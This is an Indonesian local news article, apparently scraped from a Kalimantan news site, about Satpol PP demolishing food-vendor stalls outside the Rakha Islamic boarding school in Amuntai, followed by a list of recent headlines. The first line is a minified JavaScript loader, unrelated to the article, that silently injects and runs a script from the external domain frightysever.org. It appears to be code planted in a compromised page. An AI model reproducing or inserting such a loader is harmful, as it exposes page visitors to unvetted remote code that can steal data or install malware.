(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PKL Depan Pagar Ponpes Rakha Dibongkar, Ganggu Lalu Lintas dan Ketertiban


AMUNTAI, Belasan lapak pedagang kaki lima (PKL) penjual makanan dan jajanan di depan Pondok Pesantren Rasyidah Khalidiah (Rakha) dibongkar paksa Satpol PP Kabupaten Hulu Sungai Utara (HSU) dalam operasi penertiban PKL, Kamis (13/6).

Penertiban PKL ini dilakukan Satpol PP  Kabupaten HSU dibantu TNI dan Polisi untuk memberikan ketertiban umum bagi masyarakat, khususnya di lingkungan Ponpes Rakha yang berada tepat di jalan trans Kalimantan.

Menurut salah satu dewan guru Ponpes Rakham H Abidin berterimakasih kepada pemerintah daerah yang telah membantu menertibkan PKL, pihaknya telah sekian lama mengimbau kepada para pedagang agar tertib berjualan, supaya tidak menggangu kenyamanan proses belajar mengajar di lingkungan Ponpes.

Saat ini para santri hanya diimbau untuk berbelanja di dalam lingkungan Ponpes yang telah tersedia kantin. Sementara PKL di depan pagar tidak direlokasi atau disediakan tempat berjualan, karena di samping dapat mengganggu kenyamanan Ponpes, juga dapat membahayakan keselamatan dari para santri yang belanja ke luar Ponpes.

“Kondisi ini memang telah lama terjadi di lingkungan Ponpes, karena berbagai kepentingan dari santri yang tidak ada di dalam lingkungan Ponpes, sehingga kadnag mau tidak mau harus dicari ke luar,” katanya.


Ia berharap, adanya penertiban PKL ini nantinya para santri tidak seenaknya lagi keluar masuk lingkungan Ponpes. “Hanya yang berkepentingan saja yang dapat keluar, itu pun harus melalui surat izin,” tegasnya.

Sementara itu, Sekretaris Satpol PP HSU, Jumadi menuturkan, alasan pembongkaran ini adalah adanya laporan dari masyarakat karena lapak ini menimbulkan gangguan lalu lintas yang padat, serta anak-anak Ponpes yang jajan dapat membahayakan di jalan.

“Ada keluhan dan juga permintaan dari yayasan Rakha lapak ada yang depan mereka ini sangat menganggu kegiatan pendidikan selama berlangsungnya jam pelajaran,” ujar Jumadi.

Jumadi menambahkan, sebelum pembongkaran, Satpol PP telah beberapa kali melayangkan pemberitahuan kepada para pemilik lapak bahwa keberadaan mereka menganggu, sehingga direncanakan untuk pembongkaran.

“Kami minta kepada mereka melakukan pembongkaran sendiri, namun mungkin mereka masih ada keraguan, sehingga kami memberikan sampai tiga kali surat peringatan,” ujarnya.
Sebagian pedagang ada yang sudah memindahkan barangnya sendiri, namun ada beberapa yang tidak peduli oleh sebab itu aparat melakukan pembongkaran terhadap bangunan-bagunan tersebut. (dew)

Reporter : Dew
Editor : Bie

Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

5 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

21 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.